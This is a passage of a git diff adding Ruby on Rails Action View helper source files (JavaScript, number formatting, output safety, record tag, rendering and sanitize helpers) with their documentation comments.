+ # <%= javascript_tag defer: 'defer' do -%>
+ # alert('All is good')
+ # <% end -%>
+ def javascript_tag(content_or_options_with_block = nil, html_options = {}, &block)
+ content =
+ if block_given?
+ html_options = content_or_options_with_block if content_or_options_with_block.is_a?(Hash)
+ capture(&block)
+ else
+ content_or_options_with_block
+ end
+
+ content_tag(:script, javascript_cdata_section(content), html_options)
+ end
+
+ def javascript_cdata_section(content) #:nodoc:
+ "\n//#{cdata_section("\n#{content}\n//")}\n".html_safe
+ end
+
+ # Returns a button whose +onclick+ handler triggers the passed JavaScript.
+ #
+ # The helper receives a name, JavaScript code, and an optional hash of HTML options. The
+ # name is used as button label and the JavaScript code goes into its +onclick+ attribute.
+ # If +html_options+ has an <tt>:onclick</tt>, that one is put before +function+.
+ #
+ # button_to_function "Greeting", "alert('Hello world!')", class: "ok"
+ # # => <input class="ok" onclick="alert('Hello world!');" type="button" value="Greeting" />
+ #
+ def button_to_function(name, function=nil, html_options={})
+ message = "button_to_function is deprecated and will be removed from Rails 4.1. We recommend using Unobtrusive JavaScript instead. " +
+ "See http://guides.rubyonrails.org/working_with_javascript_in_rails.html#unobtrusive-javascript"
+ ActiveSupport::Deprecation.warn message
+
+ onclick = "#{"#{html_options[:onclick]}; " if html_options[:onclick]}#{function};"
+
+ tag(:input, html_options.merge(:type => 'button', :value => name, :onclick => onclick))
+ end
+
+ # Returns a link whose +onclick+ handler triggers the passed JavaScript.
+ #
+ # The helper receives a name, JavaScript code, and an optional hash of HTML options. The
+ # name is used as the link text and the JavaScript code goes into the +onclick+ attribute.
+ # If +html_options+ has an <tt>:onclick</tt>, that one is put before +function+. Once all
+ # the JavaScript is set, the helper appends "; return false;".
+ #
+ # The +href+ attribute of the tag is set to "#" unless +html_options+ has one.
+ #
+ # link_to_function "Greeting", "alert('Hello world!')", class: "nav_link"
+ # # => <a class="nav_link" href="#" onclick="alert('Hello world!'); return false;">Greeting</a>
+ #
+ def link_to_function(name, function, html_options={})
+ message = "link_to_function is deprecated and will be removed from Rails 4.1. We recommend using Unobtrusive JavaScript instead. " +
+ "See http://guides.rubyonrails.org/working_with_javascript_in_rails.html#unobtrusive-javascript"
+ ActiveSupport::Deprecation.warn message
+
+ onclick = "#{"#{html_options[:onclick]}; " if html_options[:onclick]}#{function}; return false;"
+ href = html_options[:href] || '#'
+
+ content_tag(:a, name, html_options.merge(:href => href, :onclick => onclick))
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/helpers/number_helper.rb b/actionpack/lib/action_view/helpers/number_helper.rb
new file mode 100644
index 0000000..fda7038
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/number_helper.rb
@@ -0,0 +1,441 @@
+# encoding: utf-8
+
+require 'active_support/core_ext/hash/keys'
+require 'active_support/core_ext/string/output_safety'
+require 'active_support/number_helper'
+
+module ActionView
+ # = Action View Number Helpers
+ module Helpers #:nodoc:
+
+ # Provides methods for converting numbers into formatted strings.
+ # Methods are provided for phone numbers, currency, percentage,
+ # precision, positional notation, file size and pretty printing.
+ #
+ # Most methods expect a +number+ argument, and will return it
+ # unchanged if can't be converted into a valid number.
+ module NumberHelper
+
+ # Raised when argument +number+ param given to the helpers is invalid and
+ # the option :raise is set to +true+.
+ class InvalidNumberError < StandardError
+ attr_accessor :number
+ def initialize(number)
+ @number = number
+ end
+ end
+
+ # Formats a +number+ into a US phone number (e.g., (555)
+ # 123-9876). You can customize the format in the +options+ hash.
+ #
+ # ==== Options
+ #
+ # * <tt>:area_code</tt> - Adds parentheses around the area code.
+ # * <tt>:delimiter</tt> - Specifies the delimiter to use
+ # (defaults to "-").
+ # * <tt>:extension</tt> - Specifies an extension to add to the
+ # end of the generated number.
+ # * <tt>:country_code</tt> - Sets the country code for the phone
+ # number.
+ # * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when
+ # the argument is invalid.
+ #
+ # ==== Examples
+ #
+ # number_to_phone(5551234) # => 555-1234
+ # number_to_phone("5551234") # => 555-1234
+ # number_to_phone(1235551234) # => 123-555-1234
+ # number_to_phone(1235551234, area_code: true) # => (123) 555-1234
+ # number_to_phone(1235551234, delimiter: " ") # => 123 555 1234
+ # number_to_phone(1235551234, area_code: true, extension: 555) # => (123) 555-1234 x 555
+ # number_to_phone(1235551234, country_code: 1) # => +1-123-555-1234
+ # number_to_phone("123a456") # => 123a456
+ # number_to_phone("1234a567", raise: true) # => InvalidNumberError
+ #
+ # number_to_phone(1235551234, country_code: 1, extension: 1343, delimiter: ".")
+ # # => +1.123.555.1234 x 1343
+ def number_to_phone(number, options = {})
+ return unless number
+ options = options.symbolize_keys
+
+ parse_float(number, true) if options.delete(:raise)
+ ERB::Util.html_escape(ActiveSupport::NumberHelper.number_to_phone(number, options))
+ end
+
+ # Formats a +number+ into a currency string (e.g., $13.65). You
+ # can customize the format in the +options+ hash.
+ #
+ # ==== Options
+ #
+ # * <tt>:locale</tt> - Sets the locale to be used for formatting
+ # (defaults to current locale).
+ # * <tt>:precision</tt> - Sets the level of precision (defaults
+ # to 2).
+ # * <tt>:unit</tt> - Sets the denomination of the currency
+ # (defaults to "$").
+ # * <tt>:separator</tt> - Sets the separator between the units
+ # (defaults to ".").
+ # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
+ # to ",").
+ # * <tt>:format</tt> - Sets the format for non-negative numbers
+ # (defaults to "%u%n"). Fields are <tt>%u</tt> for the
+ # currency, and <tt>%n</tt> for the number.
+ # * <tt>:negative_format</tt> - Sets the format for negative
+ # numbers (defaults to prepending an hyphen to the formatted
+ # number given by <tt>:format</tt>). Accepts the same fields
+ # than <tt>:format</tt>, except <tt>%n</tt> is here the
+ # absolute value of the number.
+ # * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when
+ # the argument is invalid.
+ #
+ # ==== Examples
+ #
+ # number_to_currency(1234567890.50) # => $1,234,567,890.50
+ # number_to_currency(1234567890.506) # => $1,234,567,890.51
+ # number_to_currency(1234567890.506, precision: 3) # => $1,234,567,890.506
+ # number_to_currency(1234567890.506, locale: :fr) # => 1 234 567 890,51 €
+ # number_to_currency("123a456") # => $123a456
+ #
+ # number_to_currency("123a456", raise: true) # => InvalidNumberError
+ #
+ # number_to_currency(-1234567890.50, negative_format: "(%u%n)")
+ # # => ($1,234,567,890.50)
+ # number_to_currency(1234567890.50, unit: "£", separator: ",", delimiter: "")
+ # # => £1234567890,50
+ # number_to_currency(1234567890.50, unit: "£", separator: ",", delimiter: "", format: "%n %u")
+ # # => 1234567890,50 £
+ def number_to_currency(number, options = {})
+ return unless number
+ options = escape_unsafe_delimiters_and_separators(options.symbolize_keys)
+
+ wrap_with_output_safety_handling(number, options.delete(:raise)) {
+ ActiveSupport::NumberHelper.number_to_currency(number, options)
+ }
+ end
+
+ # Formats a +number+ as a percentage string (e.g., 65%). You can
+ # customize the format in the +options+ hash.
+ #
+ # ==== Options
+ #
+ # * <tt>:locale</tt> - Sets the locale to be used for formatting
+ # (defaults to current locale).
+ # * <tt>:precision</tt> - Sets the precision of the number
+ # (defaults to 3).
+ # * <tt>:significant</tt> - If +true+, precision will be the #
+ # of significant_digits. If +false+, the # of fractional
+ # digits (defaults to +false+).
+ # * <tt>:separator</tt> - Sets the separator between the
+ # fractional and integer digits (defaults to ".").
+ # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
+ # to "").
+ # * <tt>:strip_insignificant_zeros</tt> - If +true+ removes
+ # insignificant zeros after the decimal separator (defaults to
+ # +false+).
+ # * <tt>:format</tt> - Specifies the format of the percentage
+ # string The number field is <tt>%n</tt> (defaults to "%n%").
+ # * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when
+ # the argument is invalid.
+ #
+ # ==== Examples
+ #
+ # number_to_percentage(100) # => 100.000%
+ # number_to_percentage("98") # => 98.000%
+ # number_to_percentage(100, precision: 0) # => 100%
+ # number_to_percentage(1000, delimiter: '.', separator: ',') # => 1.000,000%
+ # number_to_percentage(302.24398923423, precision: 5) # => 302.24399%
+ # number_to_percentage(1000, locale: :fr) # => 1 000,000%
+ # number_to_percentage("98a") # => 98a%
+ # number_to_percentage(100, format: "%n %") # => 100 %
+ #
+ # number_to_percentage("98a", raise: true) # => InvalidNumberError
+ def number_to_percentage(number, options = {})
+ return unless number
+ options = escape_unsafe_delimiters_and_separators(options.symbolize_keys)
+
+ wrap_with_output_safety_handling(number, options.delete(:raise)) {
+ ActiveSupport::NumberHelper.number_to_percentage(number, options)
+ }
+ end
+
+ # Formats a +number+ with grouped thousands using +delimiter+
+ # (e.g., 12,324). You can customize the format in the +options+
+ # hash.
+ #
+ # ==== Options
+ #
+ # * <tt>:locale</tt> - Sets the locale to be used for formatting
+ # (defaults to current locale).
+ # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
+ # to ",").
+ # * <tt>:separator</tt> - Sets the separator between the
+ # fractional and integer digits (defaults to ".").
+ # * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when
+ # the argument is invalid.
+ #
+ # ==== Examples
+ #
+ # number_with_delimiter(12345678) # => 12,345,678
+ # number_with_delimiter("123456") # => 123,456
+ # number_with_delimiter(12345678.05) # => 12,345,678.05
+ # number_with_delimiter(12345678, delimiter: ".") # => 12.345.678
+ # number_with_delimiter(12345678, delimiter: ",") # => 12,345,678
+ # number_with_delimiter(12345678.05, separator: " ") # => 12,345,678 05
+ # number_with_delimiter(12345678.05, locale: :fr) # => 12 345 678,05
+ # number_with_delimiter("112a") # => 112a
+ # number_with_delimiter(98765432.98, delimiter: " ", separator: ",")
+ # # => 98 765 432,98
+ #
+ # number_with_delimiter("112a", raise: true) # => raise InvalidNumberError
+ def number_with_delimiter(number, options = {})
+ options = escape_unsafe_delimiters_and_separators(options.symbolize_keys)
+
+ wrap_with_output_safety_handling(number, options.delete(:raise)) {
+ ActiveSupport::NumberHelper.number_to_delimited(number, options)
+ }
+ end
+
+ # Formats a +number+ with the specified level of
+ # <tt>:precision</tt> (e.g., 112.32 has a precision of 2 if
+ # +:significant+ is +false+, and 5 if +:significant+ is +true+).
+ # You can customize the format in the +options+ hash.
+ #
+ # ==== Options
+ #
+ # * <tt>:locale</tt> - Sets the locale to be used for formatting
+ # (defaults to current locale).
+ # * <tt>:precision</tt> - Sets the precision of the number
+ # (defaults to 3).
+ # * <tt>:significant</tt> - If +true+, precision will be the #
+ # of significant_digits. If +false+, the # of fractional
+ # digits (defaults to +false+).
+ # * <tt>:separator</tt> - Sets the separator between the
+ # fractional and integer digits (defaults to ".").
+ # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
+ # to "").
+ # * <tt>:strip_insignificant_zeros</tt> - If +true+ removes
+ # insignificant zeros after the decimal separator (defaults to
+ # +false+).
+ # * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when
+ # the argument is invalid.
+ #
+ # ==== Examples
+ #
+ # number_with_precision(111.2345) # => 111.235
+ # number_with_precision(111.2345, precision: 2) # => 111.23
+ # number_with_precision(13, precision: 5) # => 13.00000
+ # number_with_precision(389.32314, precision: 0) # => 389
+ # number_with_precision(111.2345, significant: true) # => 111
+ # number_with_precision(111.2345, precision: 1, significant: true) # => 100
+ # number_with_precision(13, precision: 5, significant: true) # => 13.000
+ # number_with_precision(111.234, locale: :fr) # => 111,234
+ #
+ # number_with_precision(13, precision: 5, significant: true, strip_insignificant_zeros: true)
+ # # => 13
+ #
+ # number_with_precision(389.32314, precision: 4, significant: true) # => 389.3
+ # number_with_precision(1111.2345, precision: 2, separator: ',', delimiter: '.')
+ # # => 1.111,23
+ def number_with_precision(number, options = {})
+ options = escape_unsafe_delimiters_and_separators(options.symbolize_keys)
+
+ wrap_with_output_safety_handling(number, options.delete(:raise)) {
+ ActiveSupport::NumberHelper.number_to_rounded(number, options)
+ }
+ end
+
+ # Formats the bytes in +number+ into a more understandable
+ # representation (e.g., giving it 1500 yields 1.5 KB). This
+ # method is useful for reporting file sizes to users. You can
+ # customize the format in the +options+ hash.
+ #
+ # See <tt>number_to_human</tt> if you want to pretty-print a
+ # generic number.
+ #
+ # ==== Options
+ #
+ # * <tt>:locale</tt> - Sets the locale to be used for formatting
+ # (defaults to current locale).
+ # * <tt>:precision</tt> - Sets the precision of the number
+ # (defaults to 3).
+ # * <tt>:significant</tt> - If +true+, precision will be the #
+ # of significant_digits. If +false+, the # of fractional
+ # digits (defaults to +true+)
+ # * <tt>:separator</tt> - Sets the separator between the
+ # fractional and integer digits (defaults to ".").
+ # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
+ # to "").
+ # * <tt>:strip_insignificant_zeros</tt> - If +true+ removes
+ # insignificant zeros after the decimal separator (defaults to
+ # +true+)
+ # * <tt>:prefix</tt> - If +:si+ formats the number using the SI
+ # prefix (defaults to :binary)
+ # * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when
+ # the argument is invalid.
+ #
+ # ==== Examples
+ #
+ # number_to_human_size(123) # => 123 Bytes
+ # number_to_human_size(1234) # => 1.21 KB
+ # number_to_human_size(12345) # => 12.1 KB
+ # number_to_human_size(1234567) # => 1.18 MB
+ # number_to_human_size(1234567890) # => 1.15 GB
+ # number_to_human_size(1234567890123) # => 1.12 TB
+ # number_to_human_size(1234567, precision: 2) # => 1.2 MB
+ # number_to_human_size(483989, precision: 2) # => 470 KB
+ # number_to_human_size(1234567, precision: 2, separator: ',') # => 1,2 MB
+ #
+ # Non-significant zeros after the fractional separator are
+ # stripped out by default (set
+ # <tt>:strip_insignificant_zeros</tt> to +false+ to change
+ # that):
+ #
+ # number_to_human_size(1234567890123, precision: 5) # => "1.1229 TB"
+ # number_to_human_size(524288000, precision: 5) # => "500 MB"
+ def number_to_human_size(number, options = {})
+ options = escape_unsafe_delimiters_and_separators(options.symbolize_keys)
+
+ wrap_with_output_safety_handling(number, options.delete(:raise)) {
+ ActiveSupport::NumberHelper.number_to_human_size(number, options)
+ }
+ end
+
+ # Pretty prints (formats and approximates) a number in a way it
+ # is more readable by humans (eg.: 1200000000 becomes "1.2
+ # Billion"). This is useful for numbers that can get very large
+ # (and too hard to read).
+ #
+ # See <tt>number_to_human_size</tt> if you want to print a file
+ # size.
+ #
+ # You can also define you own unit-quantifier names if you want
+ # to use other decimal units (eg.: 1500 becomes "1.5
+ # kilometers", 0.150 becomes "150 milliliters", etc). You may
+ # define a wide range of unit quantifiers, even fractional ones
+ # (centi, deci, mili, etc).
+ #
+ # ==== Options
+ #
+ # * <tt>:locale</tt> - Sets the locale to be used for formatting
+ # (defaults to current locale).
+ # * <tt>:precision</tt> - Sets the precision of the number
+ # (defaults to 3).
+ # * <tt>:significant</tt> - If +true+, precision will be the #
+ # of significant_digits. If +false+, the # of fractional
+ # digits (defaults to +true+)
+ # * <tt>:separator</tt> - Sets the separator between the
+ # fractional and integer digits (defaults to ".").
+ # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
+ # to "").
+ # * <tt>:strip_insignificant_zeros</tt> - If +true+ removes
+ # insignificant zeros after the decimal separator (defaults to
+ # +true+)
+ # * <tt>:units</tt> - A Hash of unit quantifier names. Or a
+ # string containing an i18n scope where to find this hash. It
+ # might have the following keys:
+ # * *integers*: <tt>:unit</tt>, <tt>:ten</tt>,
+ # *<tt>:hundred</tt>, <tt>:thousand</tt>, <tt>:million</tt>,
+ # *<tt>:billion</tt>, <tt>:trillion</tt>,
+ # *<tt>:quadrillion</tt>
+ # * *fractionals*: <tt>:deci</tt>, <tt>:centi</tt>,
+ # *<tt>:mili</tt>, <tt>:micro</tt>, <tt>:nano</tt>,
+ # *<tt>:pico</tt>, <tt>:femto</tt>
+ # * <tt>:format</tt> - Sets the format of the output string
+ # (defaults to "%n %u"). The field types are:
+ # * %u - The quantifier (ex.: 'thousand')
+ # * %n - The number
+ # * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when
+ # the argument is invalid.
+ #
+ # ==== Examples
+ #
+ # number_to_human(123) # => "123"
+ # number_to_human(1234) # => "1.23 Thousand"
+ # number_to_human(12345) # => "12.3 Thousand"
+ # number_to_human(1234567) # => "1.23 Million"
+ # number_to_human(1234567890) # => "1.23 Billion"
+ # number_to_human(1234567890123) # => "1.23 Trillion"
+ # number_to_human(1234567890123456) # => "1.23 Quadrillion"
+ # number_to_human(1234567890123456789) # => "1230 Quadrillion"
+ # number_to_human(489939, precision: 2) # => "490 Thousand"
+ # number_to_human(489939, precision: 4) # => "489.9 Thousand"
+ # number_to_human(1234567, precision: 4,
+ # significant: false) # => "1.2346 Million"
+ # number_to_human(1234567, precision: 1,
+ # separator: ',',
+ # significant: false) # => "1,2 Million"
+ #
+ # Non-significant zeros after the decimal separator are stripped
+ # out by default (set <tt>:strip_insignificant_zeros</tt> to
+ # +false+ to change that):
+ # number_to_human(12345012345, significant_digits: 6) # => "12.345 Billion"
+ # number_to_human(500000000, precision: 5) # => "500 Million"
+ #
+ # ==== Custom Unit Quantifiers
+ #
+ # You can also use your own custom unit quantifiers:
+ # number_to_human(500000, units: {unit: "ml", thousand: "lt"}) # => "500 lt"
+ #
+ # If in your I18n locale you have:
+ # distance:
+ # centi:
+ # one: "centimeter"
+ # other: "centimeters"
+ # unit:
+ # one: "meter"
+ # other: "meters"
+ # thousand:
+ # one: "kilometer"
+ # other: "kilometers"
+ # billion: "gazillion-distance"
+ #
+ # Then you could do:
+ #
+ # number_to_human(543934, units: :distance) # => "544 kilometers"
+ # number_to_human(54393498, units: :distance) # => "54400 kilometers"
+ # number_to_human(54393498000, units: :distance) # => "54.4 gazillion-distance"
+ # number_to_human(343, units: :distance, precision: 1) # => "300 meters"
+ # number_to_human(1, units: :distance) # => "1 meter"
+ # number_to_human(0.34, units: :distance) # => "34 centimeters"
+ #
+ def number_to_human(number, options = {})
+ options = escape_unsafe_delimiters_and_separators(options.symbolize_keys)
+
+ wrap_with_output_safety_handling(number, options.delete(:raise)) {
+ ActiveSupport::NumberHelper.number_to_human(number, options)
+ }
+ end
+
+ private
+
+ def escape_unsafe_delimiters_and_separators(options)
+ options[:separator] = ERB::Util.html_escape(options[:separator]) if options[:separator] && !options[:separator].html_safe?
+ options[:delimiter] = ERB::Util.html_escape(options[:delimiter]) if options[:delimiter] && !options[:delimiter].html_safe?
+ options
+ end
+
+ def wrap_with_output_safety_handling(number, raise_on_invalid, &block)
+ valid_float = valid_float?(number)
+ raise InvalidNumberError, number if raise_on_invalid && !valid_float
+
+ formatted_number = yield
+
+ if valid_float || number.html_safe?
+ formatted_number.html_safe
+ else
+ formatted_number
+ end
+ end
+
+ def valid_float?(number)
+ !parse_float(number, false).nil?
+ end
+
+ def parse_float(number, raise_error)
+ Float(number)
+ rescue ArgumentError, TypeError
+ raise InvalidNumberError, number if raise_error
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/helpers/output_safety_helper.rb b/actionpack/lib/action_view/helpers/output_safety_helper.rb
new file mode 100644
index 0000000..60a4478
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/output_safety_helper.rb
@@ -0,0 +1,38 @@
+require 'active_support/core_ext/string/output_safety'
+
+module ActionView #:nodoc:
+ # = Action View Raw Output Helper
+ module Helpers #:nodoc:
+ module OutputSafetyHelper
+ # This method outputs without escaping a string. Since escaping tags is
+ # now default, this can be used when you don't want Rails to automatically
+ # escape tags. This is not recommended if the data is coming from the user's
+ # input.
+ #
+ # For example:
+ #
+ # raw @user.name
+ # # => 'Jimmy <alert>Tables</alert>'
+ def raw(stringish)
+ stringish.to_s.html_safe
+ end
+
+ # This method returns a html safe string similar to what <tt>Array#join</tt>
+ # would return. All items in the array, including the supplied separator, are
+ # html escaped unless they are html safe, and the returned string is marked
+ # as html safe.
+ #
+ # safe_join(["<p>foo</p>".html_safe, "<p>bar</p>"], "<br />")
+ # # => "<p>foo</p><br /><p>bar</p>"
+ #
+ # safe_join(["<p>foo</p>".html_safe, "<p>bar</p>".html_safe], "<br />".html_safe)
+ # # => "<p>foo</p><br /><p>bar</p>"
+ #
+ def safe_join(array, sep=$,)
+ sep = ERB::Util.html_escape(sep)
+
+ array.map { |i| ERB::Util.html_escape(i) }.join(sep).html_safe
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/helpers/record_tag_helper.rb b/actionpack/lib/action_view/helpers/record_tag_helper.rb
new file mode 100644
index 0000000..f767957
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/record_tag_helper.rb
@@ -0,0 +1,106 @@
+module ActionView
+ # = Action View Record Tag Helpers
+ module Helpers
+ module RecordTagHelper
+ include ActionView::RecordIdentifier
+
+ # Produces a wrapper DIV element with id and class parameters that
+ # relate to the specified Active Record object. Usage example:
+ #
+ # <%= div_for(@person, class: "foo") do %>
+ # <%= @person.name %>
+ # <% end %>
+ #
+ # produces:
+ #
+ # <div id="person_123" class="person foo"> Joe Bloggs </div>
+ #
+ # You can also pass an array of Active Record objects, which will then
+ # get iterated over and yield each record as an argument for the block.
+ # For example:
+ #
+ # <%= div_for(@people, class: "foo") do |person| %>
+ # <%= person.name %>
+ # <% end %>
+ #
+ # produces:
+ #
+ # <div id="person_123" class="person foo"> Joe Bloggs </div>
+ # <div id="person_124" class="person foo"> Jane Bloggs </div>
+ #
+ def div_for(record, *args, &block)
+ content_tag_for(:div, record, *args, &block)
+ end
+
+ # content_tag_for creates an HTML element with id and class parameters
+ # that relate to the specified Active Record object. For example:
+ #
+ # <%= content_tag_for(:tr, @person) do %>
+ # <td><%= @person.first_name %></td>
+ # <td><%= @person.last_name %></td>
+ # <% end %>
+ #
+ # would produce the following HTML (assuming @person is an instance of
+ # a Person object, with an id value of 123):
+ #
+ # <tr id="person_123" class="person">....</tr>
+ #
+ # If you require the HTML id attribute to have a prefix, you can specify it:
+ #
+ # <%= content_tag_for(:tr, @person, :foo) do %> ...
+ #
+ # produces:
+ #
+ # <tr id="foo_person_123" class="person">...
+ #
+ # You can also pass an array of objects which this method will loop through
+ # and yield the current object to the supplied block, reducing the need for
+ # having to iterate through the object (using <tt>each</tt>) beforehand.
+ # For example (assuming @people is an array of Person objects):
+ #
+ # <%= content_tag_for(:tr, @people) do |person| %>
+ # <td><%= person.first_name %></td>
+ # <td><%= person.last_name %></td>
+ # <% end %>
+ #
+ # produces:
+ #
+ # <tr id="person_123" class="person">...</tr>
+ # <tr id="person_124" class="person">...</tr>
+ #
+ # content_tag_for also accepts a hash of options, which will be converted to
+ # additional HTML attributes. If you specify a <tt>:class</tt> value, it will be combined
+ # with the default class name for your object. For example:
+ #
+ # <%= content_tag_for(:li, @person, class: "bar") %>...
+ #
+ # produces:
+ #
+ # <li id="person_123" class="person bar">...
+ #
+ def content_tag_for(tag_name, single_or_multiple_records, prefix = nil, options = nil, &block)
+ options, prefix = prefix, nil if prefix.is_a?(Hash)
+
+ Array(single_or_multiple_records).map do |single_record|
+ content_tag_for_single_record(tag_name, single_record, prefix, options, &block)
+ end.join("\n").html_safe
+ end
+
+ private
+
+ # Called by <tt>content_tag_for</tt> internally to render a content tag
+ # for each record.
+ def content_tag_for_single_record(tag_name, record, prefix, options, &block)
+ options = options ? options.dup : {}
+ options[:class] = [ dom_class(record, prefix), options[:class] ].compact
+ options[:id] = dom_id(record, prefix)
+
+ if block_given?
+ content_tag(tag_name, capture(record, &block), options)
+ else
+ content_tag(tag_name, "", options)
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/helpers/rendering_helper.rb b/actionpack/lib/action_view/helpers/rendering_helper.rb
new file mode 100644
index 0000000..458086d
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/rendering_helper.rb
@@ -0,0 +1,90 @@
+module ActionView
+ module Helpers
+ # = Action View Rendering
+ #
+ # Implements methods that allow rendering from a view context.
+ # In order to use this module, all you need is to implement
+ # view_renderer that returns an ActionView::Renderer object.
+ module RenderingHelper
+ # Returns the result of a render that's dictated by the options hash. The primary options are:
+ #
+ # * <tt>:partial</tt> - See <tt>ActionView::PartialRenderer</tt>.
+ # * <tt>:file</tt> - Renders an explicit template file (this used to be the old default), add :locals to pass in those.
+ # * <tt>:inline</tt> - Renders an inline template similar to how it's done in the controller.
+ # * <tt>:text</tt> - Renders the text passed in out.
+ #
+ # If no options hash is passed or :update specified, the default is to render a partial and use the second parameter
+ # as the locals hash.
+ def render(options = {}, locals = {}, &block)
+ case options
+ when Hash
+ if block_given?
+ view_renderer.render_partial(self, options.merge(:partial => options[:layout]), &block)
+ else
+ view_renderer.render(self, options)
+ end
+ else
+ view_renderer.render_partial(self, :partial => options, :locals => locals)
+ end
+ end
+
+ # Overwrites _layout_for in the context object so it supports the case a block is
+ # passed to a partial. Returns the contents that are yielded to a layout, given a
+ # name or a block.
+ #
+ # You can think of a layout as a method that is called with a block. If the user calls
+ # <tt>yield :some_name</tt>, the block, by default, returns <tt>content_for(:some_name)</tt>.
+ # If the user calls simply +yield+, the default block returns <tt>content_for(:layout)</tt>.
+ #
+ # The user can override this default by passing a block to the layout:
+ #
+ # # The template
+ # <%= render layout: "my_layout" do %>
+ # Content
+ # <% end %>
+ #
+ # # The layout
+ # <html>
+ # <%= yield %>
+ # </html>
+ #
+ # In this case, instead of the default block, which would return <tt>content_for(:layout)</tt>,
+ # this method returns the block that was passed in to <tt>render :layout</tt>, and the response
+ # would be
+ #
+ # <html>
+ # Content
+ # </html>
+ #
+ # Finally, the block can take block arguments, which can be passed in by +yield+:
+ #
+ # # The template
+ # <%= render layout: "my_layout" do |customer| %>
+ # Hello <%= customer.name %>
+ # <% end %>
+ #
+ # # The layout
+ # <html>
+ # <%= yield Struct.new(:name).new("David") %>
+ # </html>
+ #
+ # In this case, the layout would receive the block passed into <tt>render :layout</tt>,
+ # and the struct specified would be passed into the block as an argument. The result
+ # would be
+ #
+ # <html>
+ # Hello David
+ # </html>
+ #
+ def _layout_for(*args, &block)
+ name = args.first
+
+ if block && !name.is_a?(Symbol)
+ capture(*args, &block)
+ else
+ super
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/helpers/sanitize_helper.rb b/actionpack/lib/action_view/helpers/sanitize_helper.rb
new file mode 100644
index 0000000..e5cb843
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/sanitize_helper.rb
@@ -0,0 +1,256 @@
+require 'active_support/core_ext/object/try'
+require 'action_view/vendor/html-scanner'
+
+module ActionView
+ # = Action View Sanitize Helpers
+ module Helpers
+ # The SanitizeHelper module provides a set of methods for scrubbing text of undesired HTML elements.
+ # These helper methods extend Action View making them callable within your template files.
+ module SanitizeHelper
+ extend ActiveSupport::Concern
+ # This +sanitize+ helper will html encode all tags and strip all attributes that
+ # aren't specifically allowed.
+ #
+ # It also strips href/src tags with invalid protocols, like javascript: especially.
+ # It does its best to counter any tricks that hackers may use, like throwing in
+ # unicode/ascii/hex values to get past the javascript: filters. Check out
+ # the extensive test suite.
+ #
+ # <%= sanitize @article.body %>
+ #
+ # You can add or remove tags/attributes if you want to customize it a bit.
+ # See ActionView::Base for full docs on the available options. You can add
+ # tags/attributes for single uses of +sanitize+ by passing either the
+ # <tt>:attributes</tt> or <tt>:tags</tt> options:
+ #
+ # Normal Use
+ #
+ # <%= sanitize @article.body %>
+ #
+ # Custom Use (only the mentioned tags and attributes are allowed, nothing else)
+ #
+ # <%= sanitize @article.body, tags: %w(table tr td), attributes: %w(id class style) %>
+ #
+ # Add table tags to the default allowed tags
+ #
+ # class Application < Rails::Application
+ # config.action_view.sanitized_allowed_tags = 'table', 'tr', 'td'
+ # end
+ #
+ # Remove tags to the default allowed tags
+ #
+ # class Application < Rails::Application
+ # config.after_initialize do
+ # ActionView::Base.sanitized_allowed_tags.delete 'div'
+ # end
+ # end
+ #
+ # Change allowed default attributes
+ #
+ # class Application < Rails::Application
+ # config.action_view.sanitized_allowed_attributes = 'id', 'class', 'style'
+ # end
+ #
+ # Please note that sanitizing user-provided text does not guarantee that the
+ # resulting markup is valid (conforming to a document type) or even well-formed.
+ # The output may still contain e.g. unescaped '<', '>', '&' characters and
+ # confuse browsers.
+ #
+ def sanitize(html, options = {})
+ self.class.white_list_sanitizer.sanitize(html, options).try(:html_safe)
+ end
+
+ # Sanitizes a block of CSS code. Used by +sanitize+ when it comes across a style attribute.
+ def sanitize_css(style)
+ self.class.white_list_sanitizer.sanitize_css(style)
+ end
+
+ # Strips all HTML tags from the +html+, including comments. This uses the
+ # html-scanner tokenizer and so its HTML parsing ability is limited by
+ # that of html-scanner.
+ #
+ # strip_tags("Strip <i>these</i> tags!")
+ # # => Strip these tags!
+ #
+ # strip_tags("<b>Bold</b> no more! <a href='more.html'>See more here</a>...")
+ # # => Bold no more! See more here...
+ #
+ # strip_tags("<div id='top-bar'>Welcome to my website!</div>")
+ # # => Welcome to my website!
+ def strip_tags(html)
+ self.class.full_sanitizer.sanitize(html)
+ end
+
+ # Strips all link tags from +text+ leaving just the link text.
+ #
+ # strip_links('<a href="http://www.rubyonrails.org">Ruby on Rails</a>')
+ # # => Ruby on Rails
+ #
+ # strip_links('Please e-mail me at <a href="mailto:me at email.com">me at email.com</a>.')
+ # # => Please e-mail me at me at email.com.
+ #
+ # strip_links('Blog: <a href="http://www.myblog.com/" class="nav" target=\"_blank\">Visit</a>.')
+ # # => Blog: Visit.
+ def strip_links(html)
+ self.class.link_sanitizer.sanitize(html)
+ end
+
+ module ClassMethods #:nodoc:
+ attr_writer :full_sanitizer, :link_sanitizer, :white_list_sanitizer
+
+ def sanitized_protocol_separator
+ white_list_sanitizer.protocol_separator
+ end
+
+ def sanitized_uri_attributes
+ white_list_sanitizer.uri_attributes
+ end
+
+ def sanitized_bad_tags
+ white_list_sanitizer.bad_tags
+ end
+
+ def sanitized_allowed_tags
+ white_list_sanitizer.allowed_tags
+ end
+
+ def sanitized_allowed_attributes
+ white_list_sanitizer.allowed_attributes
+ end
+
